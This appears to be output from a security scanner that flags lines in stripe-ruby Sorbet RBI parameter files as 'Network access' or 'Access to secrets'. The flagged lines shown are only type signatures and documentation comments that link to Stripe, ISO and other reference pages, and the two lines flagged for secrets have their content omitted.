    sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def active=(_active); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price fo
  • Network accessline 257
    def active=(_active); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price for this product.     sig { returns(T.nilable(ProductCreateParams::DefaultPriceData)
  • Network accessline 258
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price for this product.
  • Network accessline 283
    sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def images=(_images); end     # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.strip
  • Network accessline 284
    def images=(_images); end     # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).     sig { returns(T.nilable(T::Array[ProductCreatePara
  • Network accessline 285
    # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 290
    }     def marketing_features=(_marketing_features); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc
  • Network accessline 291
    def marketing_features=(_marketing_features); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 292
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 322
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor=(_statement_descriptor); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 323
    def statement_descriptor=(_statement_descriptor); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.     sig { returns(T.nilable(String)) }
  • Network accessline 324
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_feature_create_params.rbi

  • Network accessline 5
    module Stripe   class ProductFeatureCreateParams < ::Stripe::RequestParams     # The ID of the [Feature](https://docs.stripe.com/api/entitlements/feature) object attached to this product.
  • Network accessline 6
    class ProductFeatureCreateParams < ::Stripe::RequestParams     # The ID of the [Feature](https://docs.stripe.com/api/entitlements/feature) object attached to this product.     sig { returns(String) }
  • Network accessline 7
    # The ID of the [Feature](https://docs.stripe.com/api/entitlements/feature) object attached to this product.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_list_params.rbi

  • Network accessline 53
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Only return products with the given IDs. Cannot be used with [starting_after](https://api.stripe.com#list_products
  • Network accessline 54
    def expand=(_expand); end     # Only return products with the given IDs. Cannot be used with [starting_after](https://api.stripe.com#list_products-starting_after) or [ending_before](https://api.stripe.com#list_products-ending_before).     s
  • Network accessline 55
    # Only return products with the given IDs. Cannot be used with [starting_after](https://api.stripe.com#list_products-starting_after) or [ending_before](https://api.stripe.com#list_products-ending_before).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_search_params.rbi

  • Network accessline 20
    sig { params(_page: T.nilable(String)).returns(T.nilable(String)) }     def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query 
  • Network accessline 21
    def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for products](https://docs.stripe.com/search#query-fields-for-pro
  • Network accessline 22
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for products](https://docs.stripe.com/search#query-fields-for-products).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_update_params.rbi

  • Network accessline 43
    sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def active=(_active); end     # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.
  • Network accessline 44
    def active=(_active); end     # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.     sig { returns(T.nilable(String)) }
  • Network accessline 45
    # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.
  • Network accessline 65
    }     def images=(_images); end     # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 66
    def images=(_images); end     # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).     sig { returns(T.nilable(T.any(String, T::Array[Pro
  • Network accessline 67
    # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 72
    }     def marketing_features=(_marketing_features); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc
  • Network accessline 73
    def marketing_features=(_marketing_features); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 74
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 104
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor=(_statement_descriptor); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 105
    def statement_descriptor=(_statement_descriptor); end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.     sig { returns(T.nilable(String)) }
  • Network accessline 106
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/promotion_code_create_params.rbi

  • Network accessline 29
    def initialize(minimum_amount: nil); end       end       # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported cur
  • Network accessline 30
    end       # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).    
  • Network accessline 31
    # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 48
    sig { params(_minimum_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }       def minimum_amount=(_minimum_amount); end       # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount
  • Network accessline 49
    def minimum_amount=(_minimum_amount); end       # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount       sig { returns(T.nilable(String)) }
  • Network accessline 50
    # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount
  • Network accessline 100
    sig { params(_max_redemptions: T.nilable(Integer)).returns(T.nilable(Integer)) }     def max_redemptions=(_max_redemptions); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can
  • Network accessline 101
    def max_redemptions=(_max_redemptions); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 102
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/promotion_code_update_params.rbi

  • Network accessline 15
    def initialize(minimum_amount: nil); end       end       # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported cur
  • Network accessline 16
    end       # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).    
  • Network accessline 17
    # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 39
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 40
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 41
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/quote_create_params.rbi

  • Network accessline 141
    def initialize(interval: nil, interval_count: nil); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie
  • Network accessline 142
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 143
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 146
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 147
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.         sig { returns(String) }
  • Network accessline 148
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 158
    }         def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri
  • Network accessline 159
    def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set
  • Network accessline 160
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 197
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 198
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.       sig { returns(T.nilable(QuoteCreateParams::LineItem::PriceData)) }
  • Network accessline 199
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 274
    }       def effective_date=(_effective_date); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is
  • Network accessline 275
    def effective_date=(_effective_date); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is include
  • Network accessline 276
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to 
  • Network accessline 363
    }     def default_tax_rates=(_default_tax_rates); end     # A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/sett
  • Network accessline 364
    def default_tax_rates=(_default_tax_rates); end     # A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/settings/b
  • Network accessline 365
    # A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used.
  • Network accessline 380
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since t
  • Network accessline 381
    def expand=(_expand); end     # A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since the Unix epoch. If no value is passed, the default expiration date configured in your [quote te
  • Network accessline 382
    # A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since the Unix epoch. If no value is passed, the default expiration date configured in your [quote template settings](https://dashb
  • Network accessline 385
    sig { params(_expires_at: T.nilable(Integer)).returns(T.nilable(Integer)) }     def expires_at=(_expires_at); end     # A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote te
  • Network accessline 386
    def expires_at=(_expires_at); end     # A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be us
  • Network accessline 387
    # A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used.
  • Network accessline 397
    }     def from_quote=(_from_quote); end     # A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will
  • Network accessline 398
    def from_quote=(_from_quote); end     # A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be us
  • Network accessline 399
    # A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used.
  • Network accessline 416
    }     def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 417
    def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 418
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/quote_update_params.rbi

  • Network accessline 127
    def initialize(interval: nil, interval_count: nil); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie
  • Network accessline 128
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 129
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 132
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 133
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.         sig { returns(String) }
  • Network accessline 134
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 144
    }         def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri
  • Network accessline 145
    def recurring=(_recurring); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set
  • Network accessline 146
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 188
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 189
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.       sig { returns(T.nilable(QuoteUpdateParams::LineItem::PriceData)) }
  • Network accessline 190
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 232
    }       def effective_date=(_effective_date); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is
  • Network accessline 233
    def effective_date=(_effective_date); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is include
  • Network accessline 234
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to 
  • Network accessline 366
    }     def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 367
    def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 368
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/radar/value_list_create_params.rbi

  • Network accessline 21
    sig { params(_item_type: T.nilable(String)).returns(T.nilable(String)) }       def item_type=(_item_type); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for s
  • Network accessline 22
    def item_type=(_item_type); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 23
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/radar/value_list_update_params.rbi

  • Network accessline 16
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 17
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/refund_create_params.rbi

  • Network accessline 15
    sig { params(_charge: T.nilable(String)).returns(T.nilable(String)) }     def charge=(_charge); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https
  • Network accessline 16
    def charge=(_charge); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(T.nilable(String)) }
  • Network accessline 17
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 35
    sig { params(_instructions_email: T.nilable(String)).returns(T.nilable(String)) }     def instructions_email=(_instructions_email); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. T
  • Network accessline 36
    def instructions_email=(_instructions_email); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 37
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 52
    sig { params(_payment_intent: T.nilable(String)).returns(T.nilable(String)) }     def payment_intent=(_payment_intent); end     # String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `reque
  • Network accessline 53
    def payment_intent=(_payment_intent); end     # String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `requested_by_customer`. If you believe the charge to be fraudulent, specifying `fraudul
  • Network accessline 54
    # String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `requested_by_customer`. If you believe the charge to be fraudulent, specifying `fraudulent` as the reason will add the associated car

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/refund_update_params.rbi

  • Network accessline 10
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 11
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/reporting/report_run_create_params.rbi

  • Network accessline 42
    sig { params(_reporting_category: T.nilable(String)).returns(T.nilable(String)) }         def reporting_category=(_reporting_category); end         # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of pos
  • Network accessline 43
    def reporting_category=(_reporting_category); end         # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/
  • Network accessline 44
    # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva
  • Network accessline 66
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Parameters specifying how the report should be run. Different Report Types have different required and optiona
  • Network accessline 67
    def expand=(_expand); end       # Parameters specifying how the report should be run. Different Report Types have different required and optional parameters, listed in the [API Access to Reports](https://docs.stripe.com/reporting/statements
  • Network accessline 68
    # Parameters specifying how the report should be run. Different Report Types have different required and optional parameters, listed in the [API Access to Reports](https://docs.stripe.com/reporting/statements/api) documentation.
  • Network accessline 73
    }       def parameters=(_parameters); end       # The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`.
  • Network accessline 74
    def parameters=(_parameters); end       # The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`.       sig { returns(String) }
  • Network accessline 75
    # The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_confirm_params.rbi

  • Network accessline 131
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 132
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 133
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 151
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 152
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 153
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 379
    class Promptpay < ::Stripe::RequestParams; end       class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra
  • Network accessline 380
    class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. 
  • Network accessline 381
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 650
    }       def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 651
    def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 652
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 748
    }       def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 749
    def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.       sig { returns(T.nilable(SetupIntentConfirmParams::PaymentMethodData::RadarOptio
  • Network accessline 750
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 897
    [Credential-related source omitted]
  • Access to secretsline 898
    [Credential-related source omitted]
  • Network accessline 934
    ); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 935
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(T.nilable(String)) }
  • Network accessline 936
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 995
    sig { params(_amount_type: String).returns(String) }           def amount_type=(_amount_type); end           # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.h
  • Network accessline 996
    def amount_type=(_amount_type); end           # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stri
  • Network accessline 997
    # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1181
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }         def network=(_network); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on ri
  • Network accessline 1182
    def network=(_network); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authe
  • Network accessline 1183
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1679
    sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) }     def payment_method=(_payment_method); end     # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com
  • Network accessline 1680
    def payment_method=(_payment_method); end     # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)     # value in the S
  • Network accessline 1681
    # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_create_params.rbi

  • Network accessline 8
    # Controls whether this SetupIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste
  • Network accessline 9
    #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, 
  • Network accessline 10
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may 
  • Network accessline 145
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 146
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 147
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 165
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 166
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 167
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 391
